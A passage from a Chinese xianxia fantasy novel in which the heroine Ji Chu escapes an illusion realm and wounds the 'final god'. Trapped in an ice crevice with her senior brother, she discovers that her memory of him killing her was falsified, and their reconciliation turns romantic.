挡在她面前的人纷纷暴怒起来,指责她“残忍”、“愚蠢”、“幼稚”、“偏激”、“有何面目拿剑”…… 她再迈出一步,那些人便朝她攻来。 她看着一张张充满仇恨和厌恶的脸,莫名的,生出一种“就这样吧”的情绪。 就这样吧。 她举起剑。 她自然是剑修,她本来就是剑修,这是她想要的,她付出了那么多才得到的。 她绝不退让! 剑光如朔,剑气如鸿,无论是幻影假象,还是真的现实,她通通都不在乎! 谁敢拦她,就去死! 寻真一剑劈开雾气。 先是“师兄”,再是“掌门”、“长老”,以及那些“弟子”,他们的面容碎裂,身体随着雾气裂开。 天幕上出现一道巨大而狭长的裂口,夜幕如瀑布倾泄而下,将地面浇成一半漆黑一半明亮的颜色。 那双金色眼睛就在裂口之中,自高处俯瞰着她。 剑气自它身上划过,却如同风吹巨石,连一点痕迹都没有留下。 它身后连着一条缓缓流淌的天河,因破开的天幕而暴露出来。 天河里面漂浮着许多大大小小的光点,有无形的丝线连在这些光点上,像是串了一串未经孵化的鸡蛋,一直延伸到纪楚看不见的地方。 她隐约从那些光点中看见一些人影,身形打扮各不相同,其中竟然还有一个和钟离白相似的身影。 难道是真的钟离白出事了吗? 纪楚下意识上前一步,挥剑再砍。 但她的剑锋只擦着金色眼睛边缘而过,像是砍到了空气,半空中那双金色眼睛忽然发出暮鼓般沉闷的声响,如同惊雷在她脑海中骤然炸开。 纪楚动作一僵,瞬间感觉到自己的 神魂被一股大力吸住,连眨眼都困难,更别说靠近了。 与前世相似的情况,她无法挣脱,神魂岌岌可危,随时会被末神吞噬。 如此看来,她前世死前见到的金色眼睛,的确就是末神无疑。 她今生要杀的东西,如今就在眼前。 纪楚试图举起剑,但手腕上仿佛压着千钧重的石头,怎么都无法挪动分毫。 ……她要怎么才能摆脱控制,杀了末神? 人只有直面神的本体,才能真真切切地感受到自己的渺小。 那是神,那是可以操纵天璇秘境将她吸进来、可以窥探她内心的恐惧、甚至可以吞噬她神魂的东西。 纵使她比前世修为更高,可面对这样的无形无魂之物,仍找不到一点可以下手的地方。 就连师兄和掌门都没有选择直接动手,尚要仔细谋算,静待时机,让其附身与物,才能一击必杀。 而她的修为比之师兄掌门,差的不是一点半点。 她该怎么办? 见纪楚如此轻易就被它控制住,和那些人毫无区别,末神漂浮在半空的金色眼睛透出几分轻慢: “弑神之人,不过如此。” “二世弑神,有如痴人说梦。巫觋祭司炼制此剑,是为弑神。然,无人可以弑神。” 它神力控制,纪楚便感觉一股大力从四面八方传来,重重压向寻真剑。 她努力握紧剑柄,整只手都因用力而颤抖起来。 寻真剑剑身发出“咯吱咯吱”的声响,似是被无形的力量碾压而过。 剑刃同样颤抖不休,像是随时都会断裂。 末神的声音传来,缓慢,优雅,毫无感情,如同碾碎一只蝼蚁一般理所应当: “卑微如你,神要你死,你不得不死。” 它的声音像是无数道声音组合在一起的混响,沉闷而散乱,好像众口一声,却又听不出任何语气和语调的区别。 高高在上,傲慢无情。 果真如神祇一般,俯瞰下界,皆如蝼蚁。 难怪会傲慢到想出夺舍的法子,来换取神族的复生。 纪楚忽然想到钟离白说过的:末神是神族企图复生的执念所生。 那是不是可以理解为,这双金色眼睛并不是一个难以触碰的神灵,而是一群执念凑在一起,用以窥探下界的工具。 只要是有欲望、有思维的生命,就不会毫无破绽。 况且,她身上还有神骨。 她还有千丝傀影。 纪楚心里忽然生出一股不要命般的荒唐念头。 她一下子放弃抵抗,任由末神捏住她一半神魂。 神魂若要离体,修士便必死无疑。 但她反而主动将神魂朝着末神的方向递过去。 而后趁其不备,忽然将半离体的神魂化作傀影丝,尖端细而锋利,直直朝着金色眼睛正中心扎了过去。 她想剿灭对方的意念太强,末神一时不查,竟被她以千丝傀影反向控制。 金色眼睛如日落西山,缓缓从天际的缝隙中被拽了下来。 它身后拖着的“天河”也随之歪斜,一个个光点游移而下,险些砸在地上。 整个天璇秘境因而颤抖起来。 虚假的幻境屏障随着光点的坠落而出现裂缝,迷蒙的雾气开始涣散,露出藏于其后的景象。 荒芜丛生,虚幻两分。 天璇秘境,并无实体,只是一堆执念的集合。 纪楚也同时夺回了对身体的掌控权,余下神魂瞬间与寻真剑相合。 霎时间,剑如傀影丝,傀影丝便是弑神剑。 她将所有的灵力都灌在剑刃上,顺着离体的傀影丝的方向,猝然朝着半空中的末神砍了下去。 金色眼睛裂开一道口子的同时,她的神魂化作的傀影丝同样被斩断。 神魂受损,瞬间剧痛无比,纪楚痛到视线模糊,连声音都在发颤,但却无比清晰地传到末神那边: “神也不过如此,命要你亡,你也只能去死!” 末神连同它背后的无数道声音齐齐暴怒起来。 片刻后,它再度开口,声音再不复先前那般漠然无情,而是蕴藏着深切的怒意: “天命已变,而你之命,一如往昔!” 一语仿佛成谶。 纪楚眼前的场景骤然一转,碎裂的金色眼睛与薛羡尘的双目重合,赤金无瞳,诡异非常。 寻真剑消失不见,而她手中紧紧握着的,是薛羡尘心口的神骨。 魔王脸上还保留着死之前的不可置信,双目却已被一片赤金之色掩盖。 纪楚恍惚了一瞬,求生的本能让她想要立刻松开手站起身,但身体却不受控制,如同僵硬的木偶一样,只能被迫继续跪坐在薛羡尘面前。 她感觉自己的神魂好像飘到了半空,正在观看“木偶纪楚”表演前世的场景。 接下来发生的一切,她都记得无比清晰。 身后一片黑雾翻涌,寂静无声之际,却犹如噩梦重现。 一柄长剑自黑雾中缓缓浮现,剑尖所指,便是她的心口。 就在这一瞬间,纪楚忽然意识到: 原来安静下来仔细听的时候,剑刃破空之声会这么清晰、这么明显。 下一刻,纪楚感觉自己的神魂回归躯体,觉心口一凉,疼痛感随即传来。 时间好似在这一刹那静止。 她再次感受到那股绝望,那种转世重生也无法忘记的痛苦。 “啪嗒”一声,一滴血顺着剑身滑到剑尖,最后坠落到地上,成了时间重新流转的开关。 一切都像是放慢了速度、放大了感知似的,她几乎可以听清鲜血是如何随着她的被心脏压出、又如何被剑刃截断,最后带着滚烫的热意滴落到地上,砸在她面前。 她不敢低头去看。 但不用低头,她脑海中就能浮现出那个画面。 长剑素白,银纹流光,斑驳鲜血连接出星罗棋布的剑身,太微垣西北方向,四星裂南北。 少微剑染血的样子始终牢牢映在她记忆深处,只消稍微提醒,这一幕便能如此清晰地出现在她眼前。 她想劝自己,或许这也是末神造出的幻象,只为让她分不清前世今生。 但心口传来的痛感实在太过真实太过清晰,让她连告诉自己“这是假的”的力气都没有。 这怎么会是假的呢? 疼痛是真实的,绝望是真实的,恨和不甘也是真实的。 没有人会站在她这边…… 师兄也不会…… 如果这一切都是假的,那她便是被困在木偶中的游魂,永远也找不到脱离的办法。 她只能接受这份痛苦,接受这份命运。 死于今日此刻,死于少微剑下,就是她纪楚的命数。 …… 有黑影从地上冒出,像一只只难以挣脱的盘根错节的爪子,将她牢牢束缚在原地。 剑上同样蔓延出细小的黑线,顺着她的血攀上她四肢,钻进她体内,将她完全困在绝望中。 …… 她站不起来,走不出去。 …… 纪楚几乎要就此沉睡之际,领口处忽然传来细微的动静。 一只外形笨拙的纸鹤钻出来,用头顶她的脖子,打扰了她的安宁。 她想用手把纸鹤扔下去,但浑身都捆着黑线,动不了,只能任由纸鹤继续戳她。 “纪楚。” 师兄的声音忽然从前方传来,清清冷冷的,让她从这足以淹没她的绝望中找回了一点力气。 她抬头,越过薛羡尘和金色眼睛,从碎裂的幻境边缘处看到了师兄。 这应该是真的师兄,气度沉静,清冷疏离,既没有说她“入魔罪不可恕”,也没有持剑将她无情处决。 这是她重生后遇到的师兄,那个教她练剑、给她做饭、还会帮她梳头的师兄。 可是他全都看到了。 他看到了自己是怎么挥剑杀死那些人,看到了自己是怎么对幻境中的“他”动的手,也看到了自己曾经如此狼狈地 死在少微剑下。 师兄他全都看到了。 那个卑微可怜、遭人厌弃的自己。 纪楚隔着一段距离,和师兄对视。 她没有说话,但孟喻辞从她的眼睛中看到了明晃晃的恨意。 天璇秘境创造幻境,勾起人藏于心底的恐慌和绝望,干扰人的心智。 稍有不慎,就会彻底被幻境吞噬,成为末神复生神族的养料。 他一路找来,自然也看见了纪楚的恐惧。 原来如此…… 她恨前世的一切,恨前世那个走到绝路的她自己,更恨那个对她动手的“孟喻辞”。 她被这份恨意淹没,困于原地,无法挣脱。 “你恨我。” 孟喻辞开口,声音笃定。 纪楚盯着他,没有否认。 既然一切都被看到了,那她也没什么好隐瞒的了。 虽然幻境之中的场景夸张变形,但某种程度上来看,与她前世经历,也算相差无几。 她确实一事无成,确实孤僻懦弱,也确实心灰意冷,放弃一切。 她也确实闯出宗门,对阻拦她的师兄动手。 比起这些,她更想知道目睹前世的这一切后,师兄还能说出什么话。 是真的厌弃她,说她“不配当她的师妹”;还是否决前世的一切,假装无事发生,继续做那个“绝对不会杀她”的好师兄? 重生后,她曾在心里想过很多次,如果前世那个不堪的自己展露于人前,这些对她笑脸相迎的人,还会继续接纳她吗? 应该是不会的吧,毕竟前世的她那么糟糕、根本不配得到任何东西。 她想要崭新的人生,就要藏住前世的自己,不可以再变回以前的样子。 她感觉自己像是被扒掉了光鲜亮丽的皮,被迫将内里的泥泞展示给师兄看。 你看啊,我就是这样的人,你不但不喜欢这样的我,你还会厌恶到亲手杀我。 今生种种,不过是我有意隐瞒、刻意维系。 若你一开始看到的就是这样的我,又怎么可能与我做和睦的师兄妹,又怎么可能给出那些承诺,又怎么可能说你喜欢我? …… 然而她没有想到,师兄竟会对她说: “既然你恨我,那就不要停在原地,困在剑下。” “纪楚,你应当站起来,走过来,亲手杀了我,为你自己——报仇。” 第90章 纪楚闻言一怔。 杀了师兄,为前世的她自己报仇? 孟喻辞目光掠过她身下盘旋游移的黑气,故意问道: “你不敢吗?” “纪楚,你死在少微剑下的时候,就没有想过,要杀了我报仇吗?” 他看到纪楚动了一下,想要起身。 然而那些缠着她的黑气却紧跟着加大力气,将她更加牢固地捆住拉到地上,她因而再一次失去了力气,如同沉入一片难以脱身的泥潭。 黑气顺着她的皮肤蔓延上脸,几乎将她整个人都埋进去,只剩下一双眼睛,此刻也蒙上了一层阴郁的雾气,不似往日神采奕奕。 孟喻辞想冲过去救她,但虚实之间有如天堑。 他无法跨过这条界限。 其他进入天璇秘境的人应当也遇到了相似的情况。 人的恐惧各不相同,幻境的危险程度也会有所区别。 死亡,无疑是其中最难克服的。 “纪楚。” 孟喻辞再度出声: “你杀沈恪,杀薛晚凝,杀薛羡尘时,不是很干脆吗?怎么现在反倒犹豫了?” 他语气平静,却暗含笑意: “难不成……我能狠心杀你,你却不忍心杀我?纪楚,你怎么是一个这么心软的人呢?” “不是!” 纪楚像是被踩了尾巴的猫,顿时炸毛起来: “我恨你!你对我如此绝情,我怎会不忍心杀你?!” 她下意识想要站起身,但心口被剑刺伤的疼痛让她无法用力。 黑气仿佛哄人沉睡的温床,勒在她身上,缠进她血脉之中,不断加深疲惫和绝望的念头。 她真的站不起来,她已经被一剑杀死了,她已经没有力气反抗了…… 视线很快被蔓延而上的黑雾完全遮挡。 她整个人都被包裹进了黑气中,似一个被牢牢困住的茧。 …… 突然,“咔嚓”一声,那茧沿着竖向裂开了一道口子,像是从中间炸开似的,有鲜血顺着开裂的口往外流淌。 是纪楚撕开了困住她的黑气,挣扎着,从中探出一只手。 先是手,然后是上半身,最后她竟直接从那团黑雾的包裹中站了起来。 有黏连断裂的声音响起,令人毛骨悚然。 她的身影是半透明的,背后连着许多条黑色的线。 那些线一直连到跪坐在地上的那个“纪楚”身上,好像她是撕开皮肉骨血、生生从死去的躯壳中站起的魂灵一般。 经脉相连,苦痛相连,只要稍有松懈,就会重新被拽回去,拽回那个死过一次、却还是只能等死的躯壳中去。 靠着对师兄的恨,以及对报仇的渴望,纪楚忍受着断骨抽筋一样的疼,迈出一步。 身后黏连的线开始断裂。 十分清脆悦耳的“刺啦”声,连续不绝,一道道响起、交错、重叠。 随着她的走动和黑线的断裂,地上那个“纪楚”的身体如同失去生机一般,自下而上一寸寸变得僵硬古怪,最终成了先前见过的那些木偶人的样子。 木偶心口处插着一柄普普通通的长剑。 而纪楚本人则像是灵魂中重新长出骨血般,半透明的影子一点点被血肉填充。 待她踩着幻境破碎的边缘,站到孟喻辞面前时,已经完全恢复了正常模样。 既没有死亡,也没有受过什么剑伤。 那些濒死的绝望和疼痛,全都留给了木偶人。 她脸色苍白,双眸目却亮的惊人,像是燃着两团火。 然后她举起剑。 “做的好。” 孟喻辞眼含笑意,展开双臂,分明是表明自己不会反抗任她动手,却又好像是一个拥抱的姿势。 纪楚毫不犹豫刺下—— 噗嗤一声,鲜血涌出。 摇摇欲坠的幻境在这一刻彻底扭曲碎裂,世界倾刻颠倒。 孟喻辞及时伸手护住她,两人一起失重坠落黑暗。 * 纪楚用手挡在头上,但还是被忽然坠落的一滴水砸进了领口。 太凉了,她忍不住打了个哆嗦。 孟喻辞默默将火堆挑亮一些。 方才天地倒转的一瞬,师兄把她护在怀里,然后一起掉进了这个不算宽敞的冰裂缝里。 这地方不知道有什么古怪,从掉下来以后,她就感觉自己的灵力使不出来,完全变成了一个凡人,会饿会冷。 想来师兄没有立马离开,应该也是有和她相似的情况。 冰缝下面倒是还能塞下几个人,但顶部极高开口又极小,四周都是寒冰,头上还有许多倒挂悬空长短不一的冰刺,爬出去难度很大。 吃的喝的取暖用的东西更是一个都没有,只有不断冒着寒气的冰面,映出角落里缩成的一团纪楚,以及不断朝火堆里扔灵符维持火焰的孟喻辞。 纪楚的目光移到师兄肩膀上。 那一大片血 红在白衣上显得格外明显,甚至还有不断朝外扩张之势。 ——寻真剑造成的伤口果然无法自愈。 她现在虽然清醒了很多,知道先前的一切都是末神用来对付她的幻境。 但她情绪上头捅那一剑时却没万万想到,现在还得和师兄单独待在一起,并且还是这么一个狭小到连转身都费劲的冰缝啊…… 纪楚缩进角落里,一边让她那个自打进了天璇秘境就没安生过的脑子休息一下,时不时偷看师兄一眼。 师兄把灵符当柴火烧起来完全不见心疼的,一摞一摞往火堆里扔,看得纪楚都有点心疼了。 这一会儿的功夫,孟喻辞把手里的灵符烧完后,很快又掏出一摞。 纪楚忍不住喊住他: “师兄先别……” 孟喻辞停下扔灵符的动作,转头看向她,语气温和: “怎么了?” 纪楚一叫他就有点后悔。 毕竟先开口,就要承担打破平静的责任。 但师兄态度如常,这让她的心情也平静不少,于是她说道: “这样烧,感觉太浪费了……” 灵符都是用灵力绘制的,谁会像废纸一样一摞一摞烧啊? 况且这里全是冰,火堆有效,但也只有一点温暖。 灵符一烧完,他们还是得继续冻着,又何必浪费在取暖上呢? “你不冷吗?” 孟喻辞反问。 纪楚搓了搓手,张口时哈出一口雾气,但仍坚定摇头: “我不冷。” 孟喻辞极浅地勾了下唇,似是在笑,很快就恢复了淡然表情: “我冷。” 纪楚:“……” 她感觉更尴尬了。 好在很快又听见师兄说了句: “况且灵符在这里无法使用,不过是废纸一张,你不必心疼。” 他虽这么说着,往火堆里放灵符的速度倒是慢了不少,只勉强将火焰维持着,一边还分出一大摞灵符放到纪楚面前。 随着他移动胳膊的动作,纪楚看到他肩膀上的伤口又朝外渗了许多鲜血。 她没有灵力,不知道该怎么给师兄疗伤,也不知道该怎么聊起没掉下来前的那些事,于是只能沉默。 头顶的天是黑的,不见月亮。 天地沉静,万籁俱寂。 安静下来的时候,仿佛整个世界都寂静无声,只剩下他们面前的火堆还在晃动,灵符燃烧时偶尔发出一些细碎的声响,便是这里唯一的声音。 不知道过了多久,久到纪楚眼前的火堆开始变成两个的时候,坐在一旁的孟喻辞忽然开口: “说说……” 他的声音带着点久不开口的沙哑和虚弱,只说了两个字便一顿,似是不知道怎么形容,又或许是想到了什么,以至于他的神情一瞬间变得有些落寞。 纪楚疑惑地看向他。 他没有看向她,只望着燃烧的火堆,漆黑的眸子中心倒映着跳动的火焰,侧脸苍白,被火光映出一点暖色。 他开口,声音分明低沉轻缓,却把纪楚打了个猝不及防: “……你的前世?” 纪楚没控制住打了个嗝,急忙用手将嘴捂住,一双圆溜溜的眼睛慌乱地转向一边。 孟喻辞闻声转头,看见纪楚这一脸被吓到的慌张表情,他无奈一笑: “怎么?直到现在,还是不能告诉我吗?” 他又转了回去,捅了捅火堆,十分好说话的样子: “若是不能,便罢了……” “没有。” 纪楚放下手,道:“没有不能说。” 她咬着唇,也盯着面前的火堆,然后道: “我只是不知道怎么说。” “都可以。” 师兄轻声道:“你想说什么都可以。” 他没有看着纪楚的方向,说话的语气也十分平和轻缓,像是在寻常夜话,这让纪楚觉得放松很多。 她想了想,开口道: “我前世没有成为剑修,当然也没有成为乐修,我什么都没能练好,经脉就坏了。” 开口前,纪楚还以为由她亲口说出这些话会是一种折磨,非严刑拷打不能交待。 但真的说出来以后,她反而觉得,似乎也没有那么难。 其实这也没什么。 遗憾肯定是有的,但比起其他人,她已经足够幸运,可以重来一次,走一条自己喜欢的路,还有什么可不满意的呢? 况且那就是她,那也是她,否认和遮掩都没有意义。 有了开头,后面的话也就能十分顺利地说下去了。 “我那时特别自卑,所以偷偷练了千丝傀影。但是我没害过人,比起当一个人人惧怕的魔头,我更不想看见别人用可怜、或者是嘲讽、鄙夷的眼神来看我。” “我和师兄的关系也不怎么好,基本上没什么交流,我也没有回到主峰,一直留在广玄峰。当然,沈恪也没有对我很好。” “那个时候,宗门上下除了许盈和蒋成旭,基本上不会有人搭理我。” 她语气轻松,像是早就不会为那时的心思难过了。 但孟喻辞怎会听不出她故作轻松下的落寞。 “对不起……” 他闭了闭眼,声音疲惫: “如果……” “这不是师兄的错。” 纪楚摇头: “我早说了,是我自己要去砸悬鹤峰结界,后果自然得我自己担着,怨不着旁人。” 她用两手托着下巴,看着火堆,刻意不去看师兄。 “后来我被薛晚凝和沈恪算计了,他们都说我入魔杀人。许盈和蒋成旭死了,我解释不清,就和钟离白一起跑了。” “再然后,就是师兄你看到的,我虽然杀了魔王,但被险些被末神吞噬,直到你一剑——” 她的话一顿,笑了一下,又摇摇头: “没什么,反正都已经变了。” “……” 孟喻辞看向她。 她说着“没什么”,但却不知何时坐直了身子,两手紧握在一起,抿着唇,一脸凝重地看着面前的火堆。 他的心因而揪了起来。 他想过去,抱住她。 但他却不知道该以何种身份安慰她。 是师兄,还是前世仇敌? 纪楚也感觉到了落在自己身上的视线,那样明显,那样直勾勾,让人想忽视都难。 她有点不自在,下意识看向师兄的方向。 只一眼,便被那双漆黑沉寂的双眸捕捉,复杂而绚丽的情绪蕴藏在那双眼睛中,只一对上,便很难移开。 “为什么?” 孟喻辞与她对视片刻,忽而问道: “你分明可以一剑杀了我,为什么会刺歪?” 纪楚一愣,本能回道: “因为我……我失手了……” 孟喻辞仍一眨不眨地盯着她,不放过她脸上任何一丝情绪变化: “我曾经教过你,杀人要一击毙命,脖颈、心脏,都可以。” “你以前都做的很好,可为什么这次——会失手呢?” 90-100 第91章 师兄的目光如有实质,看的纪楚越发紧张。 她忍不住咬住唇,把头转向另一边,一个明显的回避姿态。 “我不知道。” 她不知道自己为什么最后一刹那忽然改变了主意。 分明努力挣脱幻境时她还一门心思想要杀了师兄报仇。 可真的举起剑的那一瞬间,她脑子里却有个声音说: “你真的确定吗?” 确定什么? 她还有什么不确定的呢? 是师兄前世杀了她,她要他一命换一命,不是再正常不过的吗? …… 可她为什么下不去手呢?究竟是哪里不对劲呢? “幻境里,你身后只是一团黑雾,没有任何人出现。” 师兄的声音响起: “可见在你的记忆里,没有看到动手之人的脸。” “那又如何?” 他的话让纪楚一下子攥紧了手心: “我看到了少微剑!除了师兄你,还有谁能用得了少微剑?” 她看向孟喻辞 “况且是师兄你亲口告诉我,若我与你为敌,你便杀我。” 孟喻辞端详着她的表情。 他没有说,在他看到的记忆中,并没有“会杀她”这句话。 可她信誓旦旦,甚至在幻境里都要靠着记忆拼凑出他说这句话的场景,可见,记忆犹新。 他叹了口气,抛出一句话: “我杀不了你。” 一语石破天惊。 纪楚猛得站起身: “你在说什么?” 孟喻辞也缓缓站起身。 他个子太高,站在狭小拥挤的冰缝中间显得格外逼仄。 就连地上的火堆都仿佛因他的起身而显得暗淡许多。 他看向纪楚,神色坦然: “你不知道空羽浮花的意义吗?剖魂赠花,以命相护。那时的我 已将半条命送给了你,又怎么可能杀的了你?” “你若死了,我也会承担你死亡之痛,半魂消散,莫说当时还有雷劫加身,便是没有,大概也会经脉逆转,走火入魔。” “我怎么可能动手杀你?” 纪楚潜意识觉得哪里不对劲,但更让她在意的,是师兄话里的意思: “你是说,师兄杀我以后,走火入魔了?” “不可能!” 纪楚摇头,后退一步,背后贴上冰封的墙面,冰冷坚硬直达骨头缝,却让她有了点被支撑的安心感。 “你最后是历了雷劫、成了金仙的,怎么可能入魔?!” 孟喻辞垂眸,长睫盖住了他眼里的神色,让那双格外漂亮的墨色双眸隐在半明半暗的光中,看不清楚。 片刻后,他抬眸看向纪楚,神色有些莫测: “你难道从未想过,说出那样决绝的话的我,不是因为怀疑你入魔,而是因为自己入魔不能护你,还得眼睁睁看着你走向绝路呢?” “……” 纪楚一手按上身后的冰面。 冷气顿时顺着五指和掌心传到她全身。 “不可能……” 她感觉自己牙齿在打颤: “师兄你是宗门首徒,以剑入道,斩妖除魔无数,是只差一步就能修成金仙的剑修。当年巫觋族那么多人都疯了,你还好好的,你坚持到了现在,这天底下谁都可能入魔,但你不可能……” “为什么不可能?” 孟喻辞被她一连串的话说的有些想摸摸她的头,但他最终只是忍了下来,道: “纪楚,你把我想的太好了。” “我并非以剑入道。当日云川古域中你也看到了,我屠杀巫觋同族无数,内心痛苦无比,走到今天,实是——” “以杀入道。” 纪楚猛得一颤,抬头看向他。 两人中间的火堆没了燃料,一点点暗淡下去,只剩一点虚弱的火苗,将两人的脸照的斑驳昏暗。 孟喻辞的声音依然清冷沉静: “若无你相助,悬鹤峰上,奉神殿中,乃至现在这个天璇秘境,都有可能使我入魔。” “纪楚,从头到尾,一直是你在救我。” “而我坚持到现在,也是因为有你。” “若前世你我相交甚少,甚至你还被他们残害至死,那我会入魔,再正常不过。” “我若入魔,为除末神,必会杀尽一切为其所控之人。以死相胁,只为拦你。” “我是真的害怕,真的绝望,只求你哪怕真的选择入魔,也不要去末神那边。” 纪楚不知道该说什么,只能摇头。 孟喻辞上前一步,衣摆的风掠过火堆,将最后一点余烬扑灭。 冰缝中一黑,两人的神情都隐藏在暗处。 他握着纪楚的手,手中不知何时多出一把匕首。 然后他将匕首对准自己,握住纪楚的手,朝着自己的心口按下去。 “!” 纪楚一惊:“你干什么!” 她急忙用力收回手,但师兄力气太大,她没能彻底将匕首移开,也没能从师兄手中抢回自己的手,最终只能保持着握着匕首的姿势和他僵持。 黑暗遮掩了一切,只有呼吸声在两人之间交错起伏。 “终究是前世的我伤了你。” 孟喻辞的声音在黑暗中显得低沉有力,隐约透出点从未有过的疯: “我说让你杀我,不是开玩笑。” “我为什么要杀你!” 纪楚感觉无比荒谬: “我没想要杀你!” “撒谎。” 他包裹着她手的力气微微加大,匕首便不受控制地朝着他的伤口刺入。 伤口开裂,鲜血往外渗,或许是这里太冷,他的血滚烫,几乎要烫伤纪楚的手 孟喻辞却像是感觉不到疼似的,一寸寸压着她的手和匕首往自己身上捅进去。 “纪楚,杀身之仇,不是你这样报的。师兄教你,你应当毫不留情,取我性命。” 他的声音泛着冷意,洗脑一样,听的纪楚逐渐崩溃起来。 “不是的……不该是这样的……” “不该是什么?” 师兄的声音传来,像是一道利刃破开她的记忆: “难道你分明记得我杀了你,却仍不愿杀我吗?” 他的每一句都让纪楚感觉头疼,呼吸也逐渐变得困难。 她快要控制不住自己,甚至主动握住刀柄,朝着师兄身上刺了下去。 刺破血肉的一瞬间,她才感觉一直纠缠着自己的那份恨意才勉强缓和了一点。 但随即,师兄的血流到她手上,格外滚烫的触感让她忍不住颤抖起来。 恨意消解,她却反而被更大的绝望和痛苦笼罩着,头痛到快要碎裂,仿佛有什么东西不断冲击着她的大脑,拼了命想要出来。 身体里仿佛同时存在两种力量,一个让她恨不得捅死师兄,另一个却始终拦着她的动作。 匕首因而不得寸进。 两股力量较量之下,一幕场景忽然从脑海深处冒了出来。 是她垂下头,从自己心口刺出的剑身上看到了一片鳞片。 指甲盖大小,像是蛇的鳞片…… 这是什么? 这是她死前的记忆吗? 怎么会变成这样? 纪楚的眼神忽然变得迷茫。 她感觉自己好像忽然回到了过去,但却变成了一个旁观者,旁观者自己的记忆……又或者说,是她记忆的另一半。 少微剑一剑穿心的,不是她的身体,而是一条蛇。 一条鳞片与杀她的剑上的沾着的鳞片、一模一样的蛇。 但一转头,她就好像变成了那条蛇,低头看去,少微剑如同插在她的心口。 …… 怎么会记混呢? 这两幕场景,怎么会混在一起,变成她一直牢记的那样呢?! …… 记忆回到还在拂宇仙宗的时候。 她因伤重倒在监牢里,脸上的伤口不断往外冒血,鲜红的血糊了她的眼睛。 一条蛇沿着墙壁从她身后爬过来,金色覆盖了它的瞳孔,冰冷竖瞳与她对视。 而后那条蛇忽然消散,执念融进她的神魂,被她带着下山、杀魔、死亡,最后一起重生…… “啊!” 她忽然尖叫一声,一下子松开手蹲在地上,捂着头颤抖起来。 她一松手,匕首便落了下去。 刀刃砸在冰面上,发出沉闷的声响。 鲜血四溅,很快被冻成一连串的红色血珠。 孟喻辞跟着她蹲下来,伸手触碰她: “纪楚?” “是我的记忆……” 纪楚喃喃出声: “是我的记忆在恨师兄……怎么办……这些记忆……” 她说不下去,眼上像是蒙了一层雾,仇恨、绝望互相拉扯着,让她的神情变得痛苦不堪。 她不是没想过,师兄前后两世对她态度截然不同,会不会前世的事还有隐情。 但她从没质疑过自己的记忆,也从没想过,末神竟会对她的记忆动手。 她竟然带着这份错位的记忆,带着属于别人的仇恨,痛苦挣扎了这么久! 她所有的犹豫、懦弱,竟然都变成了末神利用她的工具! 她到底在干什么?! 孟喻辞忽然用力把她抱紧。 他闭了闭眼,认命般道: “算了……就这样吧……” “别想了,纪楚,我不逼你了……” 就让她继续恨他吧,总好过她痛苦不堪,意识到真相后,反而会被错乱 的记忆折磨至此。 他不忍心看她痛苦半分。 纪楚终于忍不住,缩在他怀里哭了起来。 一开始没有声音,到后面憋不住,开始趴在他身上小声哽咽。 听的孟喻辞越发心痛不已。 他原本觉得,既然真相并不如纪楚所以为的那样,就该让她知道,而不是继续被蒙在鼓里。 他,或者说是前世的他,并没有杀她。 她不该如此憎恨自己。 可直到这一刻,看见纪楚崩溃痛哭的模样后,他忽然意识到: 真相根本不重要。 他宁可被她恨着被她误解着,也不忍心看见她如此难过绝望的样子。 过了好一会儿,纪楚终于平静下来。 “我想起来了。” 她从他怀里抬起头,开口道: “是岑平。杀死袁复的那个弟子,我前世在外门救过他。” “他是蛇妖,藏在宗门里,就是为了找师兄你报仇。” “我在沧州也看见他了,他伪装成普通散修,和其他人谈论拂宇仙宗的事情。当时钟离白还提醒我,他身上有黑气,像是邪修。” “不是蛇妖。” 孟喻辞道: “化蛇,上古时期神族坐骑。以执念为刃,借宿主之魂寄生,嫁接记忆,蛊惑人心。” “是它和末神暗算了你。” “原来如此。” 纪楚想明白一切,脱力靠在墙上,神色怏怏。 黑暗的环境像是一个天然的保护罩,遮掩了她脸上的狼狈和无措,以至于她还能冷静地和师兄说话: “师兄,你还不知道吧?我是预言中的弑神之人,一世斩魔,二世弑神。如今便是我的第二世。这件事,末神也知道。” 孟喻辞语气没有特别震惊,只道: “怪不得神骨无法影响你,末神也一直想对你动手。” 纪楚自嘲一笑: “这么来看,我前世死的可真不冤枉。” “末神不愧是末神,一出手,既可以杀了我,也能害你入魔。还能通过干扰我的记忆,让我第二世与你离心,甚至可能会杀了你。” 她叹气,借着黑暗伸出手在地上摸索着,摸到了那把被她扔掉的匕首。 捡起来,调转方向,朝向自己,轻声道: “我真的好恨我自己……” 手腕忽然被人重重握住。 孟喻辞没想到她转头就想伤害自己,声音里含着怒意: “你这是干什么?” 纪楚开口,语气有些飘忽,像是疲惫到了极点: “我太蠢了,师兄,我竟然这样轻易就被他们骗了。我还一直恨你……如果我杀了你,是不是就算弑神了?巫觋族也是神,我们这一世是不是又失败了?” 黑暗中,她努力维持着冷静的语气,但细微的哭腔还是从呼吸中露了出来。 “我对不起你,也对不起钟离白,对不起所有相信我的人……” “我分明喜欢你,却因为被篡改的记忆而恨着你,甚至还对你动手,险些误了大事。” “师兄,我还你一剑——唔……” 话未说完,嘴唇忽然覆盖上来一个冰凉柔软的东西,把她所有的话都堵了回去。 师兄身上的气息铺天盖地压了过来。 他贴着她的唇,清冷的声线被挤压成闷闷的呢喃: “纪楚,你真是……” 后面的话被吞没在呼吸中,彻底听不清晰了。 他轻咬她的唇,趁她发怔之际迅速而决绝地撬开她的齿关,啃食她的理智。 让她彻底说不出旁的话来。 第92章 纪楚头脑一片空白。 她一时有些反应不过来,只觉得师兄扣住她后脑的手格外用力,将她往他怀里按。 他的唇先是冰凉,很快便泛上火一般的滚烫,啃咬她的力气也逐渐加深,隐约透出几分压抑已久的急迫。 另一手顺着她手腕摩挲到攥着刀柄的五指。 他的指尖冰凉,滑过她手腕时带来一阵战栗,微微用力,便将她手中的匕首卸下。 “当啷”一声,反手砸进身后已经熄灭的火堆中,将灵符燃烧后剩下的些许灰烬搅散。 他顺势握住她手,使她无处着力,只能越发朝着他的怀里靠去。 身前贴着的衣裳方才被火堆沾染上一层温热,但不达内里,靠近时仍带着寒气,鲜血顺着他的伤口流到纪楚身上。 纪楚反应过来,想要推开他。 但他紧紧贴着她,将她压到墙角,身后冰凉的墙面又让她冷的一哆嗦,反而本能地朝前面这具更温暖的身躯凑了过去。 他察觉到她的主动靠近,于是放缓了力气,将她拢进怀里,动作温柔,安抚一般轻啄她唇。 放在纪楚脑后的手也一点点滑落,分开发丝,触碰到空羽浮花的位置,指腹上的薄茧反复摩擦过那一处的皮肤,让那里变得滚烫通红。 纪楚感觉有点不舒服,下意识揪住他的衣服,口中溢出两个模糊不清的字眼。 